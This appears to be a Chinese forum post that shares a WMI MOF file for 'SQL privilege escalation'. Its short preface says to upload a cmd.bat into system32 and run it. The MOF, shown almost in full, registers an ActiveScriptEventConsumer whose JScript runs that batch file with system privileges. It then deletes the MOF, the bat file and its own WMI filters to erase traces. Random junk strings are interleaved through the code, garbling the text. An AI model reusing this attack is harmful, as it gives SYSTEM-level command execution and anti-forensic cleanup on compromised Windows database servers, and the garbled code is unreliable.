这个sql提权MOF需要运行 system下的文件,不能定义路径。, S# @' U' _3 E8 }/ J' W5 p }
需要将要运行的命令写入到bat上传到system32目录,然后执行。
0 N$ t* g9 D. t* G( j- S; ]: r9 D9 [- G# g$ B T6 _
这个sql提权MOF需要运行 system下的文件,不能定义路径。' a I6 u% i, `/ o9 L
需要将要运行的命令写入到bat上传到system32目录,然后执行。( m) | f8 M/ Y a
3 w1 u0 Z6 O, \* x" n3 m#pragma
% x& ~# G5 V! h- [0 W! C namespace("\\\\.\\root\\cimv2")
# X$ W7 s1 \1 D) D) J5 @; D class
3 e- q& V5 s4 C( m: }- k MyClass547: \( }' a) j" ^5 w" Y
{ [key]
2 V" l9 L" X" v3 `0 t string
/ H8 K+ l, [2 N/ ~' l) T1 ] Name;
. a& Z5 n% {) S% @4 m) c { };
& A* } n9 u% n, r1 c$ W class
! F% F2 P& r) m3 S. J. Q8 O$ v E ActiveScriptEventConsumer
3 [& S! {8 n0 d! R8 u d6 Z : __EventConsumer { [key]
2 t5 K/ W& o# e6 T7 j2 v1 R string
5 V) a: P3 P! \! m! w( x5 F Name; [not_null]* s9 o0 M' k" f) K3 F
string
" I1 W9 |. E/ a8 A9 [3 N9 P ScriptingEngine; string
. C7 b0 T. I( Z ScriptFileName; [template] B/ t8 ]1 V J
string
. V" M7 n" [1 v. {: [- d ScriptText; uint32 KillTimeout;) q3 d7 {% ^5 ]& L
}; instance of __Win32Provider as $P {
& l( V- m$ p8 J" s' U5 Q9 Y Name. [- [3 Y n2 J$ |4 r/ o5 g7 t/ d. U
=, P' \5 b, c3 [) ~7 g: O
"ActiveScriptEventConsumer"; CLSID =
0 u u' P: W8 {3 p7 g. q0 c' n `4 G "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";6 L) i- T0 M2 f
PerUserInitialization1 N8 _3 z1 x$ Y) }8 ]* ?' U- V
= TRUE;# x$ ?- b8 B P( x7 G' [
}; instance of __EventConsumerProviderRegistration { Provider) R6 m; |2 H3 C+ b2 w
= $P; ConsumerClassNames3 z6 w. K6 R. Q4 `
=8 u7 H9 {' t- E/ b& n+ s+ V
{"ActiveScriptEventConsumer"};8 L% W$ t, Z0 z- |7 z8 s
};" _% H g+ v4 ?
Instance of ActiveScriptEventConsumer
- g+ r3 f; C K& j9 g e( v* ~ as $cons { Name1 f$ ^" \$ ^ d9 F8 k' A! S( j+ [
=) [( W+ a: g7 }9 Y3 D
"ASEC"; ScriptingEngine/ W- _# X4 \$ ^
=
% |2 w4 i, ~( K" y) A$ m "JScript"; ScriptText8 \7 T# Q* R! |) c
=
9 b; m: Z2 h0 T$ F "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
3 f$ a5 y4 M j' W# ` Instance of ActiveScriptEventConsumer$ t0 c) x' }' ?6 o1 ]/ L
as $cons2 { Name
+ @# N% n2 g( R+ t) ?" X9 R. Y =3 L+ A0 g. r: {1 ~9 i) p- `" b! E# _
"qndASEC"; ScriptingEngine
6 k) }: r9 h+ _$ w( | =
' o. G9 _; i. m- B "JScript"; ScriptText
2 }' l& R7 b4 q- x6 Q =
4 e. ]! ]6 D% T5 _4 r- }* D( B "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
1 e4 [( z$ G' H- J: F4 @" L( s }; instance of __EventFilter as $Filt { Name/ v3 v' h2 {6 O' L
=
" a! K% W5 g+ J* b) U, } Z5 A9 Q "instfilt"; Query
# }8 U# f. N4 U: U: f* @$ { ^ =
& ?$ Y2 k7 _; D1 Y "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
" b3 s0 Q0 b, `1 ~: o0 {. d( A) b =
3 `. A- F; N* C0 e "WQL"; }; instance of __EventFilter as $Filt2 { Name* U2 g) j+ Z2 J5 A% G: o
=1 H) U$ y2 _, D$ a' p/ {
"qndfilt"; Query- `' _4 E. M& A5 O
= Y) e4 W9 Q% _
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
" H0 C; x ^& {6 G u) a =
8 K9 K; x( B6 Y! m$ V "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer( C% i" }+ d) S, j) u: ]! p
= $cons; Filter4 k% Z9 t4 m; S5 F; V7 I
= $Filt;! p0 }/ }% l, V* {2 p: c E* j! ~/ S
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
?5 b6 ^+ F( q/ ? = $cons2; Filter+ c; B0 b' R: H1 e6 K
= $Filt2;
/ d3 Y7 r4 e7 W% Q: x, w+ Y X }; instance of MyClass547; C( ?; R$ A4 z' f5 K
as $MyClass { Name; {: {) ?# _: s* v& X
=) I1 g/ y* k% o/ B0 a
"ClassConsumer";" n2 a3 F7 n; W% |0 L$ I
}; |